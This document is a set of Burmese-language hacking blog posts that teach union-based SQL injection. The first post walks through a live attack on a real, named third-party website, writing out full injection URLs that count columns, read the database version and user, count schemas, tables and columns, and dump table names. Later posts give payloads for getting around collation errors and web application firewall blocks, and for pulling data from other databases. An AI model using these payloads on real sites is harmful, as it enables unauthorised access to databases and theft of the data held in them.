က်ေနာ့္ ခ်ဲလန္႔ ရဲ႕ အေျဖေလးပါ ခညာ
မေျဖနိုင္တဲ့သူေတြအတြက္ပါ ေျဖနိုင္တဲ့သူေတြေတာ့ ေက်ာ္ဖတ္သြားပါေနာ္ ဟိဟိ
http://www.muziekhuis.nl/article.php?id=180
က်ေနာ္ တို႔ ပထမဆံုး ဒီဆိုက္ကို ' နဲ႕ တခ်က္စစ္ၾကည့္လိုက္မယ္
ေအာက္ကလို error ေတြ႕ရပါမယ္
error တက္ၿပီဆိုေတာ့ ဆက္သြားမယ္ order by ကိုသံၿပီး က်ေနာ္တို႔ column ရွာမယ္
http://www.muziekhuis.nl/article.php?id=180 order by 17-- <no error>
http://www.muziekhuis.nl/article.php?id=180 order by 18-- <no error>
http://www.muziekhuis.nl/article.php?id=180 order by 19--
ေအာက္ကလို error မိ်ဳးက်လာပီဆိုရင္ ေတာ့ က်ေနာ္တို႔ column ၁၈ ခုရွိတယ္ဆိုတာသိရပါၿပီ
က်ေနာ္ တုိ႕ vulnerable ျဖစ္ေနတဲ့ column ကိုရွာဖို႕ union select ကိုသံုးမယ္
http://www.muziekhuis.nl/article.php?id=180 and 0 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--
and 0 ဆိုတာ က id=-180 နဲ႕ ပံုစံတူပါဘဲ error တက္ေအာင္ထည့္ထားတာပါ
ခုလို စစ္လိုက္ ရင္ ေအာက္ကပံုမ်ိဳးနဲ႕ ျမင္ရပါမယ္။

ဟုတ္ၿပီ ဒါဆို က်ေနာ္တို႔ vul column လည္းသိၿပီ ေပါ့
proof လုပ္ရမွာ ကိုတခ်က္ၾကည့္မယ္။
A: version with your name
B:user
C:Number of DB
D:Number of Table
E:Number of Column
F:Dump all tables
A:version with yourname
ပထမဆံုး က်ေနာ္တို႕ version & name ကို inject လုပ္ၾကည့္မယ္။vul column ထဲမွာ သြားထည့္မယ္
concat(rEvolt!(or)yourname : version())
query ကဒီလိုျဖစ္သြားမယ္။
http://www.muziekhuis.nl/article.php?id=180 and 0 UNION SELECT 1,concat(0x7245766f6c7421,0x3a,version()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--
 run ၾကည့္လိုက္မယ္ဆိုရင္ေအာက္ကလို မိ်ဳးရမယ္

ဒါဆို A ၿပီးသြားၿပီ
B:user
user() ဆိုတဲ့ query သံုးမယ္။လွလွပပ ေလးျဖစ္ေအာင္တေၾကာင္းဆင္းလိုက္မယ္။<br> ကိုသံုးမယ္။
query က
http://www.muziekhuis.nl/article.php?id=180 and 0 UNION SELECT 1,concat(0x7245766f6c7421,0x3a,version(),0x3c62723e,user()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--
ေအာက္ကလို ပံုစံမ်ိဳးျဖစ္သြားမယ္
ဟုတ္ၿပီ က်ေနာ္တို႔ B လည္းရသြားၿပီ။
 C:Number of Database
Database ေတြကို count လုပ္ဖို႕အတြက္ <br>,(select count(*) from information_schema.schemata) ကိုသံုးမယ္။
query က
http://www.muziekhuis.nl/article.php?id=180 and 0 UNION SELECT 1,concat(0x7245766f6c7421,0x3a,version(),0x3c62723e,user(),0x3c62723e,(select count(*) from information_schema.schemata)),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--

ေအာက္ကပံုလိုမ်ိဳးျဖစ္သြားမယ္
C လည္းရပီ
D:number of table(without information_schema)
က်ေနာ္ခ်ဲလန္႕ တင္တုန္းက သိပ္မရွင္းေသးလို႕ မတူၾကေတာ့တာပါ။
အဲ့တုန္းက မသိေသးလို႔ေနာ္ ဟိဟိ
<br>,(select count(*) from information_schema.tables where table_schema!=0xinformation_schema)
!= ဆိုတာက information_schema နဲ႔ မညီတာေတြလို႔ ေျပာခ်င္တာပါ။
query က
http://www.muziekhuis.nl/article.php?id=180 and 0 UNION SELECT 1,concat(0x7245766f6c7421,0x3a,version(),0x3c62723e,user(),0x3c62723e,(select count(*) from information_schema.schemata),0x3c62723e,(select count(*) from information_schema.tables where table_schema!=0x696e666f726d6174696f6e5f736368656d61)),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--
ေအာက္ကလို ပံုေလးရၿပီ


D ရသြားျပန္ၿပီ
E:column (without information_schema)
<br>,(select count(*) from information_schema.columns where table_schema!=0xinformation_schema)
query အျပည့္အစံုက
http://www.muziekhuis.nl/article.php?id=180 and 0 UNION SELECT 1,concat(0x7245766f6c7421,0x3a,version(),0x3c62723e,user(),0x3c62723e,(select count(*) from information_schema.schemata),0x3c62723e,(select count(*) from information_schema.tables where table_schema!=0x696e666f726d6174696f6e5f736368656d61),0x3c62723e,(select count(*) from information_schema.columns where table_schema!=0x696e666f726d6174696f6e5f736368656d61)),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--
ေအာက္မွာ ေပၚလာမယ့္ပံုစံပါ
ီD: ရတြားပီ တခုပဲက်န္ေတာ့တယ္
E: dump all tables
(select (@x) from (select (@x:0x00),(select(0) from (information_schema.tables) where (table_schema=database()) and (0x00) in (@x:=concat(@x,0x3c62723e,table_name))))x)
ကိုသံုးမယ္
query က
http://www.muziekhuis.nl/article.php?id=180 and 0 UNION SELECT 1,concat(0x7245766f6c7421,0x3a,version(),0x3c62723e,user(),0x3c62723e,(select count(*) from information_schema.schemata),0x3c62723e,(select count(*) from information_schema.tables where table_schema!=0x696e666f726d6174696f6e5f736368656d61),0x3c62723e,(select count(*) from information_schema.columns where table_schema!=0x696e666f726d6174696f6e5f736368656d61),(select (@x) from (select (@x:=0x00),(select (0) from (information_schema.tables)
where (table_schema=database()) and (0x00) in (@x:=concat(@x,0x3c62723e,table_name))))x)
),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--
ဒီလို ဆိုရင္ ေအာက္ကပံုလို ျဖစ္သြားမယ္
ခု ခ်ဲလန္႔ ေျဖလို႔ပီးသြားၿပီ
ေက်းဇူးပါ ခမ်ာ....

January 9, 2014

[tut]How to inject illegal mix of collation[/tut]

Union based ေတာ့ သိၿပီး ေလာက္ၿပီလို႔ ယူဆပါတယ္ ေနာ္။
ဒါေၾကာင့္ က်ေနာ္ column ရွာ တာေတြ ထည့္မေျပာေတာ့ပါဘူး။က်ေနာ္ တို႔ column အေရအတြက္သိၿပီ။
union select နဲ႕ inject လုပ္ၾကည့္လို႔ vul column လည္းေတြ႕ ပါၿပီဆိုရင္ version စစ္ ၾကည့္မယ္။
http://www.site.com/product.php?id=3 ဆိုပါေတာ့။column 4 မွာ vul ျဖစ္ေနပီဆိုရင္
http://www.site.com/product.php?id=3 union select 1,2,3,version(),5--
က်ေနာ္ တို႕ဒီလို version ကိုစစ္လိုက္ေတာ့ error တခုက်လာတတ္ပါတယ္
illegal mix of collation(latin1_swedish_ci,IMPLICT)and(utf8_general_ci,SYSCONST) for operation "UNIOION"
ဒီလို error မ်ိဳးက်လာ ၿပီဆိုရင္ ဒီက်ဴတို ေလး ကအသံုုး၀င္မွာပါ။
Method#1 Use function CONVERT
http://www.site.com/product.php?id=3 1,2,3,convert(version() using binary),5--

Method#2 Use function CAST
http://www.site.com/product.php?id=3 1,2,3,cast(version() as binary),5--

Method#3 Use function UNHEX(HEX())
http://www.site.com/product.php?id=3 1,2,3,unhex(hex(version())),5--

Method#4 Use function UNCOMPRESS(COMPRESS())
http://www.site.com/product.php?id=3 1,2,3,uncompress(compress(version())),5--

Method#5 Use function AES_DECRYPT(AESENCRYPT())
http://www.site.com/product.php?id=3 1,2,3,aes_decrypt(aes_encrypt(version())),5--

က်ေနာ္ ရွာေတြ႕ထားတာေတာ့ ဒါအကုန္ဘဲ ဗ်။ တျခားးက်န္တာေတြရွိေသးရင္ေတာ့ ၀င္ေရးေပးသြားၾကပါေနာ္

Credit to Ajakaro

January 1, 2014

Common SQLi Problem Solution

က်ေနာ့္ရဲ႕ ပထမဆံုး ပို႔စ္ မလို႔ အမွားပါခဲ့ ရင္လဲ ေထာက္ျပၾကပါေနာ္
 ဒီပို႔စ္က က်ေနာ့္လို beginner ေတြအတြက္အကိ်ဴးရွိမယ္ထင္လို႔ က်ေနာ္ဘာသာျပန္ထားတာပါ။
 က်ေနာ္ ဒီအဆင့္ေတြမွာ ၂ ပတ္ေလာက္ရပ္ေနခဲ့ ရပါတယ္။error ေတြတက္ရင္လည္းေနာက္တခုလုပ္ရပါတယ္။ဟိုေန႔ကမွ FB က MHU Group မွာဖိုးခ်မ္း ဆိုတဲ့တေယာက္ share ထားလို႕၀င္ဖတ္ေတာ့ေတာ္ေတာ္ေက်းဇူးတင္မိပါတယ္။

Order by is being blocked?
တခ်ိဳ႕ ဆိုက္ေတြကို inject လုပ္တဲ့အခါမွာ WAF ေတြက order by  ကို block ထားတာမ်ိဳးရွိတတ္ပါတယ္။
Forbidden က်လာတာမိ်ဳးေပါ့။
http://www.site.com/index.php?id=12 order by 100-- //Forbidden
ဒီလိုအခါမိ်ဳးမွာ က်ေနာ္တုိ႕ group by ကိုသံုးလို႔ရနုိင္ပါတယ္။  WAF အမ်ားစုက order by ကိုဘဲ block ထားတတ္ပါတယ္။
 http://www.site.com/index.php?id=12 group by 100--
ဒီလိုနည္းနဲ႕ရနိုင္ပါတယ္။ဒါကိုမွ block ထားေသးတယ္ဆိုရင္ေတာ့ တခုရွိပါေသးတယ္။
http://www.site.com/index.php?id=12 and select *from admins)=(select 1)
ဒီ query ကုိသံုးရင္ေအာက္ကလို error မ်ိဳးေတြ႔ရပါမယ္။
"Operand should contain 5 columns"

Order by 10000-- and still not error?
တခါတေလ order by 1000 ေတာင္မွ error မတက္ပါဘူး။
http://www.site.com/index.php?id=12 order by 10000--
error မျပဘူးဆိုရင္
http://www.site.com/index.php?id=12 grpup by 10000--+ 
နဲ႕ ေျပာင္းထိုးၾကည့္ပါ ။error ျပနိုင္ပါတယ္။

Extracting Data from other Database
က်ေနာ္တို႕ SQL လုပ္ေနရင္းနဲ႔ user table,admin table ေတြမေတြ႕ဘူးဆိုရင္
တျခားလူေတာ့ သိဘူးေနာ္။က်ေနာ္ေတာ့ ရပ္သြားၿပီ။:Dဒါေပမယ့္ တျခား database ကေန က်ေနာ္တို႕ extract လုပ္နုိင္ပါေသးတယ္။
schema name ရွာမယ္
http://www.site.com/index.php?id=12 union select 1,2,3,4,group_concat(schema_name),6,7 from information_schema.schemata--
table ေတြရွာမယ္
http://www.site.com/index.php?id=12 union select 1,2,3,4,group_concat(table_name),6,7 from information_schema.tables where table_schema=0x(schemaname-HEX)
column name ေတြရွာမယ္
http://www.site.com/index.php?id=12 union select 1,2,3,4,group_concat(table_name),6,7 from information_schema.columns where table_schema=0x( schemaname-HEX) and table_name=0x(tablename-HEX)

I get error if I try to extract tables

http://www.site.com/index.php?id=12 union select 1,2,3,4,group_concat(table_name),6,7 from information_schema.tables 
ဒီလို query ကိုသံုးတဲ့အခါ "You have an error in your SQL syntax at line 1"
အခုလို error မ်ိဳးတက္ခဲ့မယ္ဆိုရင္
 http://www.site.com/index.php?id=12 union select 1,2,3,4,group_concat(table_name),6,7 from information_schema.tables limit 0,1--
လို႕ေျပာင္းၿပီး ႀကိုးစားၾကည့္နိုင္ပါတယ္။ ။